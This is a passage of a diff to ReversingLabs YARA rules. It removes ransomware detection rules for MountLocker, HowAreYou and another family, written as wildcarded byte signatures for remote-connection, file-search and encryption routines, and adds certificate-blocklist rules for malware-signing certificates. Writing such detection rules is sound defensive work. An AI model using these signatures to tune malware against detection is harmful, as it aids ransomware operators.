?? ?? ?? 8B 45 ?? 0D ?? ?? - ?? ?? 0D ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A - ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 - ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? - ?? ?? ?? 8B C6 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? - 83 7D ?? ?? 75 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9 - ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? - 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF - 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? - ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D - 45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 - ?? 0D ?? ?? ?? ?? 0D ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50 - E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? - ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? - ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? - ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55 ?? E8 ?? ?? ?? ?? 8B - 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 50 E8 ?? ?? ?? - ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? - ?? ?? 48 0F 8E ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A - ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 - 85 FF 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? - ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 8B 45 - ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B - } - $remote_connection_3 = { - 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? - ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55 ?? - E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B 45 - ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? - 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 - ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? - ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ?? - ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B - 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? - ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55 - ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B - 45 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $find_files = { - 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 33 F6 46 81 FE ?? ?? ?? ?? 0F 87 - ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 8D 57 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? - E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 07 ?? 0F 85 ?? ?? ?? ?? F6 47 ?? ?? 0F 85 ?? ?? - ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 75 ?? - 6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 - ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 0F 85 ?? ?? ?? ?? 83 - FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? - ?? ?? 33 F6 46 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 - ?? 8D 57 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F - 84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 07 ?? 0F - 84 ?? ?? ?? ?? F6 47 ?? ?? 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 75 - ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 75 - ?? 6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 68 - ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? F7 D8 1B C0 - F7 D8 84 C0 0F 85 ?? ?? ?? ?? 83 FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B DB F7 DB 84 DB - 75 ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $decrypt_payload_script = { - FF 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF - 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 - ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? - ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 8B C3 BA ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? FF 33 FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF - 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? - ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF - 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? - ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D - 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 - } - condition: - uint16( 0 ) == 0x5A4D and $find_files and $decrypt_payload_script and ( all of ( $remote_connection_* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Lossera-M, OOO" and ( pe.signatures [ i ] . serial == "00:87:6c:00:bd:66:5d:f9:8b:35:55:4f:67:a5:c1:c3:2a" or pe.signatures [ i ] . serial == "87:6c:00:bd:66:5d:f9:8b:35:55:4f:67:a5:c1:c3:2a" ) and 1493078400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Mountlocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_4B093Cb60D4B992266F550934A4Ac7D0 : INFO FILE { meta: - description = "Yara rule that detects MountLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8ce7e5c4-9eca-5dd2-ab92-39b915900d72" - date = "2021-03-25" - modified = "2021-03-25" + id = "c459c3ac-205c-5c13-959d-c6b40f81222f" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.MountLocker.yara#L1-L86" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13368-L13384" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d203217c229d54802e96e19dc66d38ecb0443d19e0492efe337df471a99559dc" + logic_hash = "4b634bc706638d72f2d036d41cf092cac538e930d7d407eebc225b482fd64f51" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "MountLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 8B 3D ?? ?? ?? ?? 8B DA 8B F1 FF D7 89 44 24 ?? - 33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 56 89 54 24 ?? 89 44 24 ?? FF 15 - ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51 50 FF 15 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF 74 24 ?? 6A ?? 6A ?? FF 74 24 ?? FF - 15 ?? ?? ?? ?? 89 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C9 0F 31 89 44 8C ?? 41 83 F9 - ?? 72 ?? FF 75 ?? 8B D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 59 85 C0 74 ?? 8D 4C - 24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 8B 7C 24 ?? 8B 44 24 ?? 89 7C 24 ?? 89 44 24 ?? 8B - 35 ?? ?? ?? ?? 8B DE 8B 15 ?? ?? ?? ?? 03 DF 8B CA 89 54 24 ?? 13 C8 BF ?? ?? ?? ?? - 8B C6 F0 0F C7 0F 8B 7C 24 ?? 3B C6 8B 44 24 ?? 75 ?? 3B 54 24 ?? 75 ?? FF 74 24 ?? - 8B 35 ?? ?? ?? ?? FF D6 FF 74 24 ?? FF D6 8B 3D ?? ?? ?? ?? FF D7 8B F8 8B C2 2B 7C - 24 ?? 89 7C 24 ?? 1B 44 24 ?? 89 44 24 ?? 75 ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 35 ?? ?? - ?? ?? 8B DE 8B 15 ?? ?? ?? ?? 03 DF 8B CA 89 54 24 ?? 13 C8 BF ?? ?? ?? ?? 8B C6 F0 - 0F C7 0F 8B 7C 24 ?? 3B C6 8B 44 24 ?? 75 ?? 3B 54 24 ?? 75 ?? 50 57 FF 74 24 ?? FF - 74 24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 8B C2 81 E2 ?? ?? ?? ?? 25 ?? ?? ?? ?? 89 54 24 - ?? DF 6C 24 ?? 83 64 24 ?? ?? 89 44 24 ?? DF 6C 24 ?? D9 E0 DE C1 D9 5C 24 ?? D9 44 - 24 ?? D9 05 ?? ?? ?? ?? D8 D9 DF E0 F6 C4 ?? 7A ?? D9 1D ?? ?? ?? ?? EB ?? DD D8 8B - 44 24 ?? EB ?? 8B 44 24 ?? 85 C0 8B 35 ?? ?? ?? ?? 74 ?? 50 FF D6 FF 74 24 ?? FF D6 - 33 C0 5F 5E 5B 8B E5 5D C3 - } - $encrypt_files_p2 = { - 55 8B EC 83 EC ?? 53 56 57 33 FF 6A ?? 8B F7 5B 0F 31 6A ?? 89 86 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 83 C6 ?? 3B F3 72 ?? 8B D3 B9 ?? ?? ?? ?? 8A 01 88 41 ?? 41 83 EA ?? 75 - ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 57 8D 45 ?? 89 5D ?? 50 89 7D ?? 89 7D ?? FF - 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 57 57 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? - ?? ?? 57 6A ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? 8B F0 FF 15 ?? ?? ?? ?? 57 FF - 75 ?? FF 15 ?? ?? ?? ?? 85 F6 74 ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 33 C0 40 - EB ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E - 5B 8B E5 5D C3 - } - $find_files_p1 = { - 53 55 56 8B 74 24 ?? 8B EA 57 8B F9 6A ?? 83 26 ?? 58 66 89 44 6F ?? 8D 5F ?? 33 C0 - 66 89 44 6F ?? 8D 87 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 53 89 44 24 ?? FF D0 33 C9 66 89 - 4C 6F ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 39 4F ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 - F8 ?? 0F 85 ?? ?? ?? ?? 8D 46 ?? 50 6A ?? 8D 4E ?? 51 8D 56 ?? 52 8D 46 ?? 50 6A ?? - 6A ?? 8D 5F ?? 53 FF 15 ?? ?? ?? ?? F7 D8 1B C0 83 C0 ?? 89 06 74 ?? 8B CB E8 ?? ?? - ?? ?? 85 C0 74 ?? 6A ?? 58 66 89 44 6F ?? 33 C0 66 89 44 6F ?? 8D 87 ?? ?? ?? ?? 50 - 53 FF 54 24 ?? 33 C9 66 89 4C 6F ?? 83 F8 ?? 75 ?? 39 0E 74 ?? 51 FF 76 ?? FF 76 ?? - FF 76 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 3E ?? 74 ?? FF 76 ?? FF 15 ?? ?? ?? ?? - 83 26 ?? 83 C8 ?? 5F 5E 5D 5B C3 - } - $find_files_p2 = { - 55 8B EC 83 E4 ?? 83 EC ?? 53 55 56 8B F1 57 FF 46 ?? 8D 7E ?? 8B 07 8D 5E ?? 89 44 - 24 ?? 8B 46 ?? 53 89 07 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 51 8B D0 8B CE E8 - ?? ?? ?? ?? 8B E8 59 83 FD ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 8D 86 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 8D 9E ?? ?? ?? ?? F6 03 ?? 74 ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB - ?? 8D 86 ?? ?? ?? ?? 50 8B 44 24 ?? 05 ?? ?? ?? ?? 8D 04 46 50 FF 15 ?? ?? ?? ?? FF - 76 ?? 57 6A ?? FF 16 83 C4 ?? 85 C0 74 ?? 53 55 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 55 FF - 15 ?? ?? ?? ?? 83 7E ?? ?? 8D 5E ?? 74 ?? 83 7C 24 ?? ?? 74 ?? 6A ?? FF 74 24 ?? FF - 74 24 ?? FF 74 24 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 7C 24 ?? ?? 74 ?? FF 74 24 - ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 C0 89 0F 40 5F 5E 5D 5B 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LCB SISTEMAS LTDA ME" and pe.signatures [ i ] . serial == "4b:09:3c:b6:0d:4b:99:22:66:f5:50:93:4a:4a:c7:d0" and 1478649600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Howareyou : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_2050B54146B011Ed30F60F61 : INFO FILE { meta: - description = "Yara rule that detects HowAreYou ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "998fbebe-099d-5779-ad4a-91b7b6c8ad6b" - date = "2021-06-14" - modified = "2021-06-14" + id = "0db2d42d-bdc3-50bc-b360-a39ccec4df41" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HowAreYou.yara#L1-L205" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13386-L13402" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "90568365aac61d120886f9efa9822ccc23df79a1a55e522c81db6e77477c4f04" + logic_hash = "74749317fcefcdb698046a6f42c6c6e05cc1eab1370b3b1fd7d025f49de4a032" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "HowAreYou" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_p1 = { - 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 05 ?? - ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 0F 85 ?? ?? ?? ?? 8D 0D ?? ?? - ?? ?? 89 08 8B 05 ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 0C 24 89 44 24 ?? E8 ?? ?? ?? ?? - 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 85 C9 74 ?? 74 ?? 8B 49 - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8D 44 24 - ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E8 ?? - ?? ?? ?? 83 C4 ?? C3 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24 - C7 44 24 ?? ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? - E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 74 ?? 74 ?? 8B - 4A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8D 05 - ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? - ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 D1 - } - $remote_connection_p2 = { - EB ?? 89 4C 24 ?? 89 5C 24 ?? 84 03 89 4C 24 ?? C7 04 24 ?? ?? ?? ?? 8D 43 ?? 89 44 - 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8B 54 24 ?? 89 54 - 24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 54 24 ?? 89 14 24 FF D1 8B - 44 24 ?? 8B 4C 24 ?? 85 C0 74 ?? 74 ?? 8B 40 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? - ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? - ?? ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C - 24 ?? 8B 5B ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 44 24 ?? 89 04 24 FF D3 90 E8 - ?? ?? ?? ?? 83 C4 ?? C3 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 04 24 8D 05 ?? ?? ?? ?? 89 - 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 - } - $find_files_p1 = { - 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC - ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 8C 24 ?? ?? ?? ?? 89 4C 24 ?? E8 ?? ?? - ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 C9 0F 85 ?? ?? ?? ?? 89 54 - 24 ?? 89 9C 24 ?? ?? ?? ?? 31 C0 31 C9 31 ED 31 F6 EB ?? 8B 7C 24 ?? 47 8B 9C 24 ?? - ?? ?? ?? 89 CD 89 C6 89 F8 89 D1 8B 54 24 ?? 39 D0 0F 8D ?? ?? ?? ?? 89 44 24 ?? 89 - 4C 24 ?? 89 AC 24 ?? ?? ?? ?? 89 74 24 ?? 8D 0C C3 8B 11 89 94 24 ?? ?? ?? ?? 8B 49 - ?? 89 8C 24 ?? ?? ?? ?? 8B 6A ?? 89 0C 24 FF D5 0F B6 44 24 ?? 84 C0 0F 84 ?? ?? ?? - ?? 8B 84 24 ?? ?? ?? ?? 8B 40 ?? 8B 8C 24 ?? ?? ?? ?? 89 0C 24 FF D0 8B 44 24 ?? 8B - 4C 24 ?? 89 0C 24 